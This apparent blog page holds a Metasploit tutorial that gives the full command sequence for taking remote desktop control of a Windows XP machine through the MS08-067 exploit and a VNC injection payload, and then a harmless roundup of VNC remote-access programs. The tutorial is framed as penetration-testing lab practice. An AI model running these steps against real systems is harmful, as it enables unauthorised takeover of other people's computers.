Hacking Windows : Totally own it - Hollywood Style

Now while the real life hacking and the one in the movies might seem far from congruent, there is some similarity at least, and in this post, we'll get no shells, no meterpreter, no bullshit. We'll simply get the Windows XP desktop inside our Kali machine like we actually are on it. What we're actually getting is going to be something like this-

If you have any difficulty understanding whats going on, then that's because you skipped over 5 articles on penetration testing. You are recommended to go over last 3 atleast.

• Basics Of Pentesting
• External Sources about Pentesting
• Penetration Testing Level 1: Hacking Windows XP
• Penetration Testing Level 2:Post-exploitation of Windows XP
• Penetration Testing Level 3:Crashing Windows 7

Starting metasploit

You must be having Kali Linux installed, follow the link if you haven't already got Kali Linux.

After that, execute the following commands on terminal to get Metasploit running

service postgresql start

service metasploit start

msfconsole

After this, you metasploit framework will start.

Information Gathering

• Find IP of XP machine by running ipconfig on XP command prompt.
• Find IP of Kali machine by running ifconfig on Kali terminal.

Hacking XP 

Now execute the following code (without the msf> it is there by already) -

msf > use exploit/windows/smb/ms08_067_netapi

It selects the netapi ms08 exploit which is well known for Windows XP. Now execute the following (everything before > will already be there)

msf  exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp 

 Now execute a show options to get an idea what all values need to be filled.

msf  exploit(ms08_067_netapi) >show options

You will need the information gathered from Information Gathering step. Remember - XP -> Remote host (RHOST). This is all we need. Just enter the XP IP instead of 192.168.xxx.xxx

msf  exploit(ms08_067_netapi) > set RHOST 192.168.xxx.xxx

That would be all. Now type exploit and press enter.

msf  exploit(ms08_067_netapi) > exploit

If everything goes right, then you'll have a pretty much movie kind of remote connection working for you, and you'll be able to work stuff like you'd normally do if you had access to the machine.

Read more

by Malik korrich ~ samedi 12 avril 2014 0 commentaires

Virtual Network Computing- Top VNC for Windows

VNC or virtual network computing is a desktop sharing system that uses remote framebuffer protocol for remote access. However there are SSH (secure shell) and telnet to connect remote computer but VNC is desktop sharing system that will allow you to take complete command on a remote operating system. Virtual network computing (VNC) basically has two component one is VNC client (viewer) and the other is VNC server, a VNC software can be act as a client and as a server too. So many VNC client can be connect with a single VNC server at a same time.

If you are using Linux distribution like Ubuntu, backtrack and others than you may have some VNC client on it but for windows OS you need to get a VNC software for remote access. Below is the list of some VNC software that we have created according to our best knowledge. These VNC software's are for windows operating system.

RealVNC for Remote Access

 RealVNC is the most famous and most common VNC software that provides remote desktop sharing features. RealVNC is a cross operating system software that can be applicable on Windows as well as on Linux, it is available on three editions one is a free version while second is personal edition and the third is enterprise edition, different edition has different features obviously enterprise edition has almost all the features including security and authentication, file sharing, chat, printing and many more.

 

UltraVNC- Remote Control Software

UltraVNC is a powerful, easy to use and free software that can display the screen of another computer (via internet or network) on your own screen. The program allows you to use your mouse and keyboard to control the other PC remotely. It means that you can work on a remote computer, as if you were sitting in front of it, right from your current location. It also has some different and advance features like encryption, chat, file transfer and others.

Tight VNC for Remote Sharing

TightVNC is a free remote control software package. With TightVNC, you can see the desktop of a remote machine and control it with your local mouse and keyboard, just like you would do it sitting in the front of that computer. It is available on free of cost for both personal and commercial usage, it provides advance administrative support just like RealVNC Tight VNC is also a cross operating system tool that can works on both windows and Linux.

MetaVNC

MetaVNC pursues a remote desktop environment that users can control applications on different hosts seamlessly. MetaVNC is a window aware VNC. MetaVNC merges windows of multiple remote desktops into a single desktop screen. MetaVNC also comes with its own task bar and application menu, which makes it easy to control applications or windows on different hosts.

Furthermore, the Win32 version and linux version of MetaVNC viewer merges remote desktops with local desktops. It enables Linux and Windows remote desktops and local desktops to co-exist seamlessly.

There are different software's are also available for Linux operating system and we will discuss them later and on some different article we will share a tutorial for VNC.

Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

Read more

by Malik korrich ~ jeudi 20 octobre 2011 0 commentaires